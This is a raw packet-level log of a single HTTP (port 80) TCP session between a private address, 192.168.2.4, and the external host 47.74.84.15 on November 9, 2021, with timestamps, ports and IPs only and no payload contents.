Nov 9, 2021 22:21:16.435250044 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435282946 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435296059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435319901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435331106 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435359001 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435367107 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435399055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435404062 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435435057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435446978 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435472965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435480118 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435511112 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435520887 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435548067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435559988 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435585976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435591936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435623884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435631037 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435662985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435668945 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435702085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435708046 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435739040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435750961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435776949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435785055 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435815096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435822010 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435852051 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435858011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435890913 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435909033 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435928106 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435940981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.435966015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.435973883 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436005116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436011076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436041117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436048985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436079025 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436091900 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436116934 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436131954 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436152935 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436161995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436192036 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436197996 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436228991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436237097 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436269045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436275005 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436307907 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436314106 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436345100 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436357975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436383009 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436392069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436420918 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436430931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436458111 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436470985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436496019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436501980 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436533928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436542034 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436572075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436579943 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436611891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436618090 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436647892 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436655998 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436686039 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436696053 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436724901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436754942 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436760902 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436764956 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436799049 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436811924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436836958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436844110 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436896086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436917067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436956882 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.436981916 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.436995983 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437021017 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437032938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437057018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437071085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437096119 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437108040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437134981 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437144041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437169075 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437180996 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437206984 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437218904 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437254906 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437258959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437261105 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437299967 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437324047 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437335968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437361002 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437374115 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437400103 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437412024 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437438965 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437450886 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437477112 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437489033 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437513113 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437526941 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437551975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437565088 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437589884 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437603951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437628031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437639952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437664032 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437678099 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437704086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437716007 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.437740088 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.437824011 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.444870949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.444974899 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.737890959 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.737963915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.737982035 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738013029 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738034964 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738081932 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738086939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738131046 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738178968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738233089 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738234043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738285065 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738384008 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738415003 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738439083 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738472939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738553047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738609076 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738635063 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738786936 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738842964 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.738868952 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.738909006 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739015102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739047050 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739067078 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739124060 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739152908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739411116 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739451885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739485025 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739489079 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739526987 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739537954 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739567041 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739603043 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739617109 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739640951 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739679098 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739694118 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739717960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739756107 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739772081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739794970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739833117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739842892 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739871979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739907980 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739923000 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.739945889 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739984035 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.739998102 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740021944 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740061045 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740068913 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740098000 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740135908 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740149975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740174055 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740211010 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740222931 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740247965 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740287066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740302086 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740325928 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740364075 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740395069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740401030 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740438938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740463018 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740477085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740514040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740525961 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740551949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740590096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740598917 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740628004 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740667105 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740677118 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740704060 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740741968 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740752935 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740781069 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740817070 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740828991 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740885019 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740926027 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.740936995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.740962029 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741000891 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741009951 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741039991 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741075993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741090059 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741115093 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741153955 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741189957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741198063 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741229057 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741245031 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741266012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741307020 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741314888 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741344929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741383076 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741396904 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741421938 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741460085 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741481066 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.741497040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.741586924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.745306969 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:16.791990995 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:16.820135117 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.042604923 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042668104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042706013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042718887 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.042745113 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042800903 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042818069 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.042859077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042912960 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.042913914 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.042973995 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043045044 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043072939 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043086052 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043123960 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043137074 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043160915 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043199062 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043224096 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043236971 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043287992 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043296099 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043328047 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043365002 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043390036 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043404102 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043446064 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043452024 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043497086 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043536901 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043555975 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043575048 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043612957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043644905 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043651104 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043689966 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043709040 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043729067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043767929 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043795109 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043804884 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043843985 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043850899 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043881893 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043920040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043950081 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.043957949 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.043996096 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044009924 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044034958 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044075012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044102907 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044111013 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044151068 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044158936 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044188976 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044226885 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044251919 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044265032 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044306040 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044320107 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044343948 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044384003 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044414997 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044421911 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044461012 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044473886 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044501066 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044537067 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044565916 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044575930 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044614077 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044626951 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044652939 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044692993 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044724941 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044728994 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044768095 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044775009 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044806957 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044843912 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044878006 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044914961 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044955015 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.044980049 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.044991970 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045030117 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045037985 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045068979 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045104980 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045130014 CET	49813	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:17.045144081 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045181990 CET	80	49813	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:17.045192957 CET	49813	80	192.168.2.4	47.74.84.15
